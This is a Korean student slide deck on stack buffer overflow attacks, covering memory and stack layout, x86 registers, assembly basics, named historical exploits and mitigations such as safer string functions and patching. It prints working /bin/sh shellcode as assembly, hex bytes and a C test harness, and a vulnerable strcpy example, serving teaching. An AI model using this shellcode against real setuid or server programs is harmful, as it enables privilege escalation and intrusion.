버퍼 오버플로우 시스템보안 인터넷공학전공 20032305 권영락
Contents 버퍼 오버플로우 소개 2. 버퍼 오버플로우 공격 3. 버퍼 오버플로우의 원리 4. 메모리 구조 레지스터 5. 스택 구조 6. 어셈블리어 이해와 명령어 7. 공격 사례와 해결방안 Contents
1. 버퍼 오버플로우 소개 버퍼(buffer) 란? 버퍼 오버플로우(buffer overflow) 란? 3/34 버퍼(buffer) 란? 프로그램 처리 과정에 데이터가 일시적으로 저장되는 공간 데이터를 모아 놓은 데이터 블록의 개념 C에서 배열이나 포인터 부분에서 많이 사용 (문자열 저장) 버퍼 오버플로우(buffer overflow) 란? Buffer Overrun 이라고도 불림 지정된 버퍼(Buffer)의 크기보다 더 많은 데이터를 입력해서 프로그램이 비정상적으로 동작하도록 만드는 것 메모리에 할당 된 버퍼의 양을 초과하는 데이터를 입력하여 프로그램의 복귀 주소(return address)를 조작, 궁극적으로 해커가 원하는 코드를 실행하는 것
2. 버퍼 오버플로우 공격 (1/7) 일반적인 공격 방법 스택의 적당한 곳에 해커가 원하는 코드를 집어 넣은 다음 리턴 4/34 일반적인 공격 방법 스택의 적당한 곳에 해커가 원하는 코드를 집어 넣은 다음 리턴 어드레스를 그 삽입한 코드 부분이 있는 곳으로 바꿔 줌. 서버 프로그램과 같이 외부에서 입력을 받으며 실행되는 프로 그램이 버퍼 오버플로우 공격을 당하게 되면 사용자가 내부 사용자 권한을 획득 할 수 있게 됨. 해커들이 주로 스택에 삽입하는 코드는 쉘코드(/bin/sh)인데, /bin/sh을 실행하게 되면, 그 이후부터는 이 쉘을 이용해 다른 모든 명령을 실행 시킬 수 있기 때문. Overflow
2. 버퍼 오버플로우 공격 (2/7) 공격 방법 공격 대상 스택의 적당한 곳에 해커가 원하는 코드를 집어 넣은 다음 리턴 5/34 공격 방법 스택의 적당한 곳에 해커가 원하는 코드를 집어 넣은 다음 리턴 어드레스를 그 삽입한 코드 부분이 있는 곳으로 바꿔 줌. 공격 대상 setUID 설정이 된 실행파일 - 프로그램이 setUID 루트로 실행되면서 프로그램의 실행 중에 루트 권한으로 동작하고 있으면, 내부 사용자가 루트 권한을 얻을 수 있음 root 권한으로 작동 되고 있는 서버 프로그램 등 - 서버 프로그램과 같이 외부에서 입력을 받으며 실행되는 프로그램이 버퍼 오버플로우 공격을 당하게 되면 공격자가 내부 사용자 권한을 획득 할 수가 있게 됨.
2. 버퍼 오버플로우 공격 (3/7) 공격 방법 메모리에 이진 실행 코드(shell code)를 저장 6/34 공격 방법 메모리에 이진 실행 코드(shell code)를 저장 - 버퍼를 오버플로우 시킬 때, 해당 버퍼에 쉘코드를 저장 루트 권한으로 실행 되는 프로그램의 리턴 주소를 조작 - 조작된 리턴 조수를 쉘코드로 점프 프로그램이 종료 시 조작 된 리턴 주소를 읽어서 복귀 - 쉘코드가 실행(루트 권한) - 루트권한으로 특정 작업이 실행/공격자는 루트의 권한 획득
2. 버퍼 오버플로우 공격 (4/7) 쉘 코드 쉘 코드의 구조 /bin/sh을 실행하는 코드 7/34 쉘 코드 /bin/sh을 실행하는 코드 /bin/sh을 실행하게 되면, 그 이후부터는 이 쉘을 이용해 다른 모른 명령을 실행 시킬 수 있음 쉘 코드의 구조 쉘 코드는 쉘을 실행 시키는 코드, C로 간단하게 만들어 보면, #include<stdio.h> void main() { char *name[2]; name[0] = “/bin/sh”; name[1] = NULL; execv(name[0], name, NULL); }
2. 버퍼 오버플로우 공격 (5/7) 쉘을 실행시키는 코드 추출 intel x86 리눅스 코드 8/34 쉘을 실행시키는 코드 추출 intel x86 리눅스 코드 jmp 0x1f popl %esi movl %esi, 0x8(%esi) xorl %eax, %eax movb %eax, 0x7(%esi) movl %eax, 0xc(%esi) movb %0xb, %al movl %esi, %ebx leal 0x8(%esi), %ecx leal 0xc(%esi), %edx int $0x80 xorl %ebx, %ebx movl %ebx, %eax inc %eax int $0x80 call -0x24 .string “/bin/sh” 이 코드를 스택에 넣은 다음 실행 하면, /bin/sh을 실행 시키게 됨
2. 버퍼 오버플로우 공격 (6/7) 앞의 코드를 16진수 형태 문자열로 만들어야 함 9/34 앞의 코드를 16진수 형태 문자열로 만들어야 함 eb 1f 5e 89 76 08 31 c0 88 46 07 89 46 0c b0 0b 89 f3 8d 4e 08 8d 56 0c cd 80 31 db 89 d8 40 cd 80 e8 dc ff ff ff 2f 62 69 6e 2f 73 68 00
2. 버퍼 오버플로우 공격 (7/7) 쉘코드 동작 확인 테스트 프로그램 10/34 쉘코드 동작 확인 테스트 프로그램 char shellcode[] = “\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07 \x89\x46\x0c\xb0\x0b” “\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31 \xdb\x89\xd8\x40\xcd” “\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73 \x68”; void main() { int *ret; ret=(int *)&ret+2; (*ret)=(int)shellcode; }
3. 스택 버퍼오버플로우의 원리 (1/2) Buffer RET SFP *Str 11/34 void sample_function(char *str) { char buffer[16]; strcpy (buffer, str); return; } void main() char buffer[256]; int i; for (i = 0; i < 255; i++) buffer[i] = ‘A’; sample_function (buffer); Buffer RET *Str High Memory Address Lower Memory Address SFP RET 의 값은 Parameters의 주소 Buffer 크기보다 더 많은 문자가 입력 되었기 때문에 SFP(Stack Frame Pointer) 영역은 물론 RET(Return add.), 인수영역까지 침범하여 문자로 채움 이 때, Buffer에 shell code를 넣고 RET에 Buffer 주소를 넣으면 shell code 실행가능.
3. 스택 버퍼오버플로우의 원리 (2/2) 버퍼 오버플로우 공격 전, 후 프로그램 흐름 main main call call 12/34 버퍼 오버플로우 공격 전, 후 프로그램 흐름 main call main call function function shell code <일반적인 함수호출> <버퍼 오버플로우 공격 시 함수호출>
4. 메모리 구조 레지스터 (1/2) 메모리 기본 구조 13/34 환경변수, 프로그램 인자값 중 문자열 환경변수, Argv 포인터 인자값의 수 스택 영역 동적으로 할당된 데이터가 저장 초기화 되지 않은 변수 초기화된 변수 보통 읽을 수 있는 부분이 있거나, 변조될 경우 Segfault 발생
4. 메모리 구조 레지스터 (2/2) 범용 레지스터 오프셋 레지스터 세그먼트 레지스터 14/34 범용 레지스터 - AX(AH, AL) : 산술 연산에 사용 - BX(BH, BL) : 베이스의 주소를 저장하는 데 사용 - CX(CH, CL) : 반복적으로 실행되는 특정 명령에 사용 - DX(DH, DL) : 일반 자료를 저장하는 데 사용 오프셋 레지스터 - BP : SS 레지스터와 함께 사용되어 스택 내의 변수 값을 읽는데 사용 IP : 다음 명령어의 오프셋(Offset)을 저장하며, CS 레지스터와 합해 져 다음에 수행될 명령어의 주소를 형성 - SP : SS레지스터와 함께 사용되며, 스택의 가장 끝 주소를 가리킴 - DI : 다음 목적지 주소에 대한 값 저장 - SI : 출발지 주소에 대한 값 저장 세그먼트 레지스터 - DS : 변수의 기본 베이스 주소 저장 - ES : 변수의 추가 베이스 주소 저장 - SS : 스택의 베이스 주소 저장 - CS : 명령어 코드의 베이스 주소 저장
5. 스택 구조 (1/5) 레지스터 마이크로프로세서의 일부분, 적은 데이터를 임시 저장 가능 공간 15/34 레지스터 마이크로프로세서의 일부분, 적은 데이터를 임시 저장 가능 공간 명령어->명령어 혹은 운영체제의 제어권->다른 프로그램 때에 데이터 를 전달하기 위한 장소 명령어를 저장하기 위해서 충분한 공간이 필요 - 32bit명령어 저장 위해 32bit이상의 레지스터 공간 필요 CPU가 데이터를 처리하는 동안 사용할 값, 중간 연산 결과를 일시적 으로 저장 위해 사용, 매 순간 새로운 값이 저장(이전 값 제거) 메모리와 CPU 사이에 직접 통신 가능
5. 스택 구조 (2/5) 16/34 레지스터 종류 (x86 기준) 일반적인 레지스트 : Data를 주로 다룸(%eax, %ebx, %ecx, %edx) 세그먼트 레지스트 : 메모리의 첫 번째 주소를 저장(%cs, %ds, %ss) Offset 레지스트 : 세그먼트 레지스트에 대한 Offset을 가르킴 - %eip(extended instruction pointer) : 다음에 실행될 명령어에 대한 주소 - %ebp(extended base pointer) : 함수의 지역변수를 위한 환경이 시작되는 곳 - %esi(extended source index) : 메모리 블록을 이용한 연산에서 데이터 소스 offset 가짐 - %edi(extended destination index) : 메모리 블록을 이용한 연산에서 목적지 데이터 offset 가짐 - %esp(extended stack pointer) : 스택의 꼭대기를 가리킴 특별한 레지스트: CPU에 의해서 사용되는 레지스트
Uninitialized DATA Area 5. 스택 구조 (3/5) 17/34 스택의 정의 STACK 영역 Heap 영역 TEXT 영역 High Memory Address Lower Memory Address DATA 영역 추상적인 데이터 타입 마지막에 위치한 것이 먼저 제거 LIFO(Last In, First Out) PUSH, POP - PUSH : Stack 꼭대기에 요소 추가 - POP : Stack 꼭대기 마지막 요소 제거 STACK Area Initialized DATA Area Uninitialized DATA Area HEAP Area Program Header Table TEXT Area
5. 스택 구조 (4/5) 스택을 쓰는 이유 함수와 프로시저를 사용하기 위함 18/34 스택을 쓰는 이유 함수와 프로시저를 사용하기 위함 함수와 프로시저는 프로그램을 만들 때 중요한 테크닉 프로시저 호출 : 프로그램의 흐름을 변경, 프로그램의 명령을 끝낸 후 리턴 - Return-Address(RET) : 프로그램은 텍스트 영역을 읽으면서 실행 -> 함수를 호출할 때는 그 함수 의 역할이 끝나고 돌아올 주소(RET)를 Stack에 저장 함수의 실행이 끝난 후에 Stack에 저장된 RET를 참조하여 프로그램 코드 실행 RET를 바꾸면 프로그램의 흐름을 변경 가능
Saved Frame Pointer (SFP) function arguments (*str) 5. 스택 구조 (5/5) 19/34 스택을 이용한 버퍼 오버플로우의 공격 원리 Stack-Overflow발생을 위해서 원하는 명령어가 있는 메모리 장소로 jump하도록 리턴 주소를 변경 Buffer 크기보다 더 많은 문자가 입력되었기 때문에 SFP(Stack Frame Pointer) 영역은 물론 RET(Return add), 인수 영역까지 침범하여 문자로 채움 이 때, Buffer에 shell code를 넣고 RET에 Buffer 주소를 넣으면 shell code 실행 가능. Buffer (shell code) Saved Frame Pointer (SFP) Return address (RET) function arguments (*str)
6. 어셈블리어 이해와 명령어 (1/7) 특징 단점 컴퓨터 하드웨어의 구성 요소들을 직접 엑세스 20/34 특징 컴퓨터 하드웨어의 구성 요소들을 직접 엑세스 컴파일러를 설계하거나 시스템 프로그램을 작성 단점 CPU에 따라 차이의 차이가 있다. 낮은 가독성 – 기계어의 가까운 언어, 코드 이해의 어려움 C언어의 등장
[ 어셈블러(Assembler) 처리과정 ] 6. 어셈블리어 이해와 명령어 (1/7) 21/34 어셈블리어는 문자와 숫자, 기호들을 이용하여 일련의 과정을 처리하는 방식 [ 어셈블러(Assembler) 처리과정 ] [ 어셈블리 언어 프로그램의 개발 단계 ] - 에디터(editor): 입력 (2) 어셈블러(assembler): 변환 (3) 링커(linker): 실행
6. 어셈블리어 이해와 명령어 (2/7) 형식 설명문 또는 주석문(Comment) 22/34 형식 설명문 또는 주석문(Comment) MOV AX, 99; Here is a comment (2) 명령문(instruction) (3) 지시어(directive) 이름(name), 연산코드(operation code), 오퍼랜드(operand) 순서대로 있어야 함 SETUP MOV DX, 99 ;setup DX
6. 어셈블리어 이해와 명령어 (3/7) 문자 저장 방식 AX 레지스터에 10인 진수를 855를 로드하려면 MOV AX,855 23/34 문자 저장 방식 AX 레지스터에 10인 진수를 855를 로드하려면 MOV AX,855 AX 16진수인 855H(10진수로 2133)를 로드하려면 MOV AX,855H AX 16진수인 FFH(10진수로 255)를 로드하려면 MOV AX,0FFH AX에 2진의 011010010110B(10진수로 1686), 16진수로 6969H)를 로드하려면 MOV AX,01101010110B
6. 어셈블리어 이해와 명령어 (4/7) 문법 구조 - OP코드 + operand(피연산자) 24/34 문법 구조 - OP코드 + operand(피연산자) - 영어로 명령어를 줄인말 + 니모닉으로 이름 붙여진 레지스터 Op코드 Operand 기능 Mov a, b a에 b 값 저장 Add a와b를 더해서 결과를 a에 저장 Push a a를 스택에 저장 Pop 스택에서 값을 a에 꺼냄 Call 함수 a를 호출 Ret 함수 되돌림
6. 어셈블리어 이해와 명령어 (5/7) Push ebp Mov ebp, esp Add eax, ebp Pop ebp 25/34 Push ebp Mov ebp, esp Add eax, ebp Pop ebp 베이스포인터 값을 스택에 저장 베이스포인터 레지스터에 스택포인터 레지스터값을 저장 어큐물레이터 레지스터와 베이스포인터 레지스터값을 더해서 베이스포인터 레지스터값에 저장 스택값을 꺼내어 베이스포인터 레지스터에 저장
6. 어셈블리어 이해와 명령어 (6/7) 반복 루틴 구현 비교와 점프 명령으로 표현 Cmp b,10 jl short @4 26/34 반복 루틴 구현 비교와 점프 명령으로 표현 Cmp b,10 jl short @4 Cmp 명령어 b와 10의 값 비교해서 그결과값을 cpu 내부 flag레지스터에 잠시 저장 점프 명령어 jl(jump on less than)-작으면 점프 Jldp 의해 값이 작으면 @4의 레이블로 점프 Jle(jump on less or equal: 작거나 같으면 점프) Jge(jump on greater or equal:크거나 같으면 점프) Jmp(결과에 상관없이 무조건 점프)
6. 어셈블리어 이해와 명령어 (7/7) 용어 설명 어셈블리어(assembly language) : 기계어를 좀더 쉽게 표현 27/34 용어 설명 어셈블리어(assembly language) : 기계어를 좀더 쉽게 표현 하기 위해 니모닉을 사용 한 언어. 기계어와 1:1 대응 니모닉(mnemonic) : 기계어의 명령을 알아보기 쉽도록 알파벳 문자를 이용하여 기호화 한 것 어셈블(assemble) : 어셈블리어 소스를 기계어로 변환하는 과정. (비교) 고급언어(C, PASCAL,COBOL, FORTRAN 등)의 소스를 기계코드로 변환하는 것은 컴파일(compile)이라 한다.
7. 공격사례와 해결방안 (1/6) 버퍼 오버플로우 현상 28/34 버퍼 오버플로우 현상 Sample_function 함수 안에 buffer 배열의 사이즈는 200개인데 Main 함수 안의 buffer 배열 사이즈 256개를 복사 할려고 하니 버퍼 오버플로우 현상이 나타나 오류가 발생한 것을 확인 할 수 있다.
7. 공격사례와 해결방안 (2/6) 29/34 버퍼 오버플로우 현상 문자열 길이 체크
printf (“Enter your name:”); 7. 공격사례와 해결방안 (3/6) 30/34 버퍼 오버플로우 현상 char name [10]; printf (“Enter your name:”); fflush (stdout); gets (name); fgets (name, 10, stdin); 10자리 미만으로 입력을 하면 상관이 없지만 10자리 이상을 입력하게 되면 버퍼 오버 플로 우 현상이 나타나게 된다. 처음 9개 문자만 변수 명에 복제되기 때문에 사용자가 프롬프트에 대한 응답으로 얼마나 많은 문자를 입력 하든 상관이 없습니다.
7. 공격사례와 해결방안 (4/6) 버퍼 오버플로우 현상 유닉스 버퍼오버플로우 31/34 버퍼 오버플로우 현상 유닉스 버퍼오버플로우 시스템이 해킹 당하는 주원인은 운영체제 또는 응용프로그램의 버그이다. 특히 최근에 해킹 당한 서버의 대부분은 버퍼 오버 플로우 취약점이라는 버그에 의해 발생되고 있는데 이 공격은 프로그램 내에서 지정된 버퍼크기보다 더 많은 양의 데이터를 버퍼에 입력하여 다른 영역까지 영향을 미치게 하여 프로그램의 흐름을 바꾸어 버리는 공격방법이지만 그 결과로 원격자에서 시스템 관리자 권한을 획득 할 수 있다. 해킹기법 rpc.statd 공격 automountd 공격 rpc.ttdbserved 공격 rpc.cmsd 공격 Linux amd 공격
7. 공격사례와 해결방안 (5/6) 함수 차원에서의 방법 취약한 함수는 대체 함수로 사용 취약한 함수 대체함수 strcpy() 32/34 함수 차원에서의 방법 취약한 함수는 대체 함수로 사용 취약한 함수 대체함수 strcpy() strcat() sprintf()(또는 vsprintf()) gets() strncpy() strncat() snprintf() fget() scanf() fscanf() sscanf() vscanf() vsscanf() vfscanf() realpath() getopt() getpass() streadd() strecpy() strtrns() getwd()
7. 공격사례와 해결방안 (6/6) 보안패치 적용 불필요한 프로그램 정지 버퍼 오버플로우 차단프로그램 설치 운영 33/34 보안패치 적용 버퍼 오버플로우 공격을 방지할 수 있는 가장 기본적인 방법은 각 시스템 회사에서 배포하는 보안패치를 적용하는 것이다. 불필요한 프로그램 정지 해커들의 공격대상이 되고 있는 버퍼 오버플로우 취약점을 가진 네트워크 서비스들 중 대부분은 실제 사용되지 않는 서비스들이 많다. 그러므로 이러한 서비스들은 부팅시에 자동으로 실행되지 않게 하거나 해당 서비스의 실행을 중지 시켜야만한다. 버퍼 오버플로우 차단프로그램 설치 운영 만약 패치가 신속히 제공되지 않을 때 차단 프로그램(Wrapper) 으로 버퍼 오버플로우를 해결한다.
Q n A